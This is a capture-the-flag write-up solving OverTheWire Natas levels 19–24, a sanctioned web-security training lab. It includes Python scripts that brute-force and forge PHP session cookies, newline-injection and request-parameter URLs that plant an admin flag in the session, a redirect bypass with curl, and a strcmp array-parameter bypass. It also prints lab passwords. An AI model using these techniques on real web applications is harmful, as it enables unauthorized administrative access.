Contents

Natas Challenges (part 4)

Part 4 of the natas OverTheWireChallenges, this post covers solutions for levels 19 through 24.

  • Part 1 can be found here
  • Part 2 can be found here
  • Part 3 can be found here

natas19

Starting this off by going to: http://natas19.natas.labs.overthewire.org/

Login info is:

1
2
User: natas19
Pass: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

The only hint this time around is that the code uses largely the same code as the previous challenge, except that the “session IDs are not longer sequential” (and happen to be extremely large values, too large to just brute force 0 to n).

One of the important things to note now, there’s no longer a view source button. Seems the difficult has ramped up quite a bit here, so it’ll be time to leverage everything learned from the first 19 challenge sto try and solve this.

Putting in admin:aa, greeted with a “log in as admin for password”. Using the DevTools the traffic doesn’t show anything out of the ordinary or something that could possibly be used to get past this challenge. Next stop is the cookies, just like the previous challenge the PHPSESSID is saved in the cookies.

Trying some quick combinations of different username:password combinations and then looking at the PHPSESSID:

1
2
3
4
5
6
7
8
    A:a = 3532322d41
    A:a = 3231362d41
    A:a = 3239372d41
    A:a = 3631332d41
    A:b = 3538342d41
    AA:a =3136372d4141
    b:a = 3535302d62
    b:b = 3130322d62

Something interesting here is that it looks like the username is tacked on the end after converting to ASCII (A = 0x41, b = 0x62). This can be confirmed with a bunch of A’s:

1
    AAAAAAAA: 3136372d4141414141414141

Now to determine what the 2d as it precedes all of the usernames regardless of what the input seems to be. A quick look in the ASCII table, show’s that 2D is a “hyphen”, -.

So far we know: <Unknown>-<username>

Now to figure out the last of the unknowns, grabbing a bunch of data:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
     3439362d4141414141414141
     3436312d4141414141414141
     3231302d4141414141414141
     3334312d4141414141414141
     3332372d4141414141414141
     3532392d4141414141414141
     35392d4141414141414141
     3633382d4141414141414141
     3335332d4141414141414141
     3438372d4141414141414141
     3533372d4141414141414141
     3332312d4141414141414141
     3136382d4141414141414141
     38322d4141414141414141
     3533322d41
     3437342d41

At this point it’s obvious collecting this data by hand isn’t the best way to do something a computer can do significantly faster. So some real quick and dirty python will grab a whole bunch of data:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
from concurrent.futures import ThreadPoolExecutor
URL = "http://natas19.natas.labs.overthewire.org/index.php?debug"
USER = "natas19"
PASSW = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"
NUM_ITERATIONS = 200
POOL = ThreadPoolExecutor(max_workers=4)

def build_requests():
    req = []
    for i in range(1,NUM_ITERATIONS):
        params = {"username": "A", "password": "a"}
        auth = (USER, PASSW)
        req.append({"auth": auth, "params": params})
    return req
def request_sessions(req):
    res = requests.get(url=URL, auth=req["auth"],
    params=req["params"])
    return res
def main():
    urls = build_requests()
    res = POOL.map(request_sessions, urls)
    cookies = []
    for r in res:
        cookie = requests.utils.dict_from_cookiejar(r.cookies)['PHPSESSID']
        # Separate everything into two chunks knowing that 2d is a separator
        head = cookie.partition('2d')[0]
        cookies.append(int(head))
    for c in cookies:
        # Break the output up into chunks of two characters at a time
        print([str(c)[i:i+2] for i in range(0, len(str(c)), 2)])
if __name__ == "__main__":
    main()

Which results in the following output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    ['31', '30', '34']
    ['31', '31', '35']
    ['31', '31', '36']
    ['31', '31', '38']
    ['31', '32', '33']
    ['31', '32', '34']
    ['31', '32', '34']
    ['31', '32', '39']
    ['31', '32', '39']
    ['31', '33', '38']
    ['31', '34', '39']
    ['31', '35', '30']
    ['31', '35', '34']

So it seems that the data is always a number that starts with 3. Well since the username was just the hexadecimal representation of the username, it’s likely these also correspond to some sort of ASCII value. Looking at the ASCII table again, it looks like this corresponds to 0-9.

So the ID the ASCII representation of the following: <num><num><num>-<username>

Which means we’ve got 0 to 999 possible session IDs to work though. Sounds like a perfect case to use the parallelized version of natas18's python script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from concurrent.futures import ThreadPoolExecutor
URL = "http://natas19.natas.labs.overthewire.org/index.php?debug"
USER = "natas19"
PASSW = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"
NUM_ITERATIONS = 999
POOL = ThreadPoolExecutor(max_workers=4)
def build_requests():
    req = []
    admin_tag = ''.join(['%x' % ord(c) for c in '-admin'])
    for i in range(1, NUM_ITERATIONS):
        id = ''.join(['%x' % ord((str(i)[j:j+1])) for j in range(0, len(str(i)), 1)])
        params = {"username": "admin", "password": "a"}
        cookies = {"PHPSESSID": id + admin_tag}
        auth = (USER, PASSW)
        req.append({"auth": auth, "cookies": cookies, "params": params})
    return req
def request_sessions(req):
    res = requests.get(url=URL, auth=req["auth"],
    cookies=req["cookies"], params=req["params"])
    return res
def main():
    urls = build_requests()
    print(urls)
    res = POOL.map(request_sessions, urls)
    for r in res:
        if "You are an admin." in r.text:
        print(r.text)
if __name__ == "__main__":
    main()

And here we have our admin session:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas19", "pass": "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs" };</script></head>
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre></div>
</body>
</html>
1
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

natas20

Starting this off by going to: http://natas20.natas.labs.overthewire.org/

Login info is:

1
2
User: natas20
Pass: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

The view source button is back, and this time we seem to be able to change our name. The goal once again is to log in as an admin to get to the next level.

Starting with the source to the problem:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
<?
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}
/* }}} */

/* we don't need this */
function myopen($path, $name) {
    //debug("MYOPEN $path $name");
    return true;
}

/* we don't need this */
function myclose() {
    //debug("MYCLOSE");
    return true;
}

function myread($sid) {
    debug("MYREAD $sid");
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

function mywrite($sid, $data) {
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data");
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid");
    return true;
}
/* we don't need this */
function mygarbage($t) {
    //debug("MYGARBAGE $t");
    return true;
}

session_set_save_handler(
    "myopen",
    "myclose",
    "myread",
    "mywrite",
    "mydestroy",
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}
?>

The debug exists, so giving that a quick go again with a login of abc:

1
2
3
4
5
6
DEBUG: MYREAD s4q08titul4mao373o05p2jml0
DEBUG: Reading from /var/lib/php5/sessions//mysess_s4q08titul4mao373o05p2jml0
DEBUG: Read [name abc]
DEBUG: Read []
DEBUG: Name set to abc1
You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.

And then trying again with a random name:

1
2
3
4
DEBUG: MYREAD l3fsfsetg1t7smqes25nt2h816
DEBUG: Session file doesn't exist
DEBUG: Name set to abcaaa
You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.

Ultimately the goal here is to get $_SESSION["admin"] == 1:

1
2
3
4
5
6
7
8
9
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}

So there are two scenarios. One when logging in with an existing account and session the name is updated, and the second when logging in with an account that doesn’t exist a new session is created.

Another thing to note is how the myread function works:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    function myread($sid) {
        ...
        foreach(explode("\n", $data) as $line) {
            debug("Read [$line]");
        $parts = explode(" ", $line, 2);
        if($parts[0] != "")
        $_SESSION[$parts[0]] = $parts[1];
        }
        return session_encode();
    }

This function will read in line by line and then store that into $_SESSION. So getting $_SESSION['admin'] = 1 to be read in during the line reading seems to be the trick for this level.

Taking a look at the mywrite function:

1
2
3
4
5
6
7
8
9
function mywrite($sid, $data) {
    …
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

It just turns the key and value from the $_SESSION into a line in a file, which is then read line by line and put into the $_SESSION.

Putting that together, getting the mywrite function to output the following should get the password for the next level:

1
2
name admin
admin 1

The following URL should do the trick, which is abusing that the url encoding for a new line is %0A (line feed):

1
http://natas20.natas.labs.overthewire.org/index.php?debug&name=admin%0Aadmin%201

And the password:

1
2
    You are an admin. The credentials for the next level are:
    Username: natas21

Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ

natas21

Starting this off by going to: http://natas21.natas.labs.overthewire.org/

Login info is:

1
2
User: natas21
Pass: IFekPyrQXftziDEsUr3x21sYuahypdgJ

It seems that this level is centered around a type of CSS injection. There’s an extra link to look over now:

1
http://natas21-experimenter.natas.labs.overthewire.org/index.php

This page presents 3 CSS tags and the ability to view the source. Looking at the source the interesting bits are here:

1
2
3
4
5
6
7
session_start();
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

The exploit here is simple, there’s no validation on the input from the request and all of the CSS values are stored in the $_SESSION. We just need to provide the following in addition to the regular values:

1
2
name admin
admin 1

This can be accomplished with the following URL:

1
http://natas21-experimenter.natas.labs.overthewire.org/index.php?debug&name=admin&admin=1&align=center&fontsize=100%25&bgcolor=yellow&submit=Update

With this newly created PHPSESSID cookie which encodes the admin flag, it can be used on the original site, which then provides the password:

1
2
3
You are an admin. The credentials for the next level are:
Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ

natas22

Starting this off by going to: http://natas22.natas.labs.overthewire.org/

Login info is:

1
2
User: natas22
Pass: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ

A blank page, with only a source button, taking a look at the source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?
session_start();
if(array_key_exists("revelio", $_GET)) {
    // only admins can reveal the password
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
    header("Location: /");
    }
}
?>
<html>
<head>
<h1>natas22</h1>
<div id="content">
<?
    if(array_key_exists("revelio", $_GET)) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas23\n";
    print "Password: <censored></pre>";
    }
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Not a lot going on here. However, seems it is still required to set $_SESSION["admin"] == 1 based on what the server wants to run when we try to load index.php. That said looking a bit further down the code GET request and revelio (which is a nod to Harry Potter, for reveal]).

In other words what’s happening is the page is served up, the PHP script is then run, we aren’t logged in so we get redirected to the previous page due to the header() function. Most modern browsers will filter out loading of the original page. However using something like curl should provide the original data, which allows us to see the password:

1
2
3
4
5
6
7
8
9
$ curl -u natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ  http://natas22.natas.labs.overthewire.org/?revelio -v

<h1>natas22</h1>
<div id="content">

You are an admin. The credentials for the next level are:<br><pre>Username: natas23
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
1
Password: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE

natas23

Starting this off by going to: http://natas23.natas.labs.overthewire.org/

Login info is:

1
2
User: natas23
Pass: D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE

This challenge just present a “Password:” input box and a submit button. The trust “View source” button is still around which provides the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<h1>natas23</h1>
<div id="content">
Password:
<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>
<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

The trick here is just exploiting the following check:

1
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 ))

strstr is the weak point, it just looks to match anywhere in the string that was provided, even across multiple lines. The other check is if the value in passwd is > 10. Since there’s no filtering, we can abuse the new line in order to make the input string look like:

1
2
11
iloveyou

Which gives the following url to exploit this challenge:

1
http://natas23.natas.labs.overthewire.org/?passwd=11%0Ailoveyou

And the password:

1
2
The credentials for the next level are:
Username: natas24 Password: OsRmXFguozKpTZZ5X14zNO43379LZveg

natas24

Starting this off by going to: http://natas24.natas.labs.overthewire.org/

Login info is:

1
2
User: natas24
Pass: OsRmXFguozKpTZZ5X14zNO43379LZveg

Another password login challenge. This time the code looks like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

This time around the passwd is hidden and there’s a strcmp to exploit to beat this challenge.

The trick here is to exploit the fact that there’s no type checking on the data for password. It turns out that strcmp will return a 0 if there’s an error when comparing. An error can be introduced by forcing the object (e.g.: an array) type to be something else, aka, strcmp(object, string) = 0. By getting strcmp to produce a value of 0, the not operator (!) will then flip the 0 to a 1 allowing the check to succeed.

Putting it together:

1
2
3
http://natas24.natas.labs.overthewire.org/?passwd[]=%22%22

Warning: strcmp() expects parameter 1 to be string, array given in /var/www/natas/natas24/index.php on line 23

The credentials for the next level are:

1
Username: natas25 Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c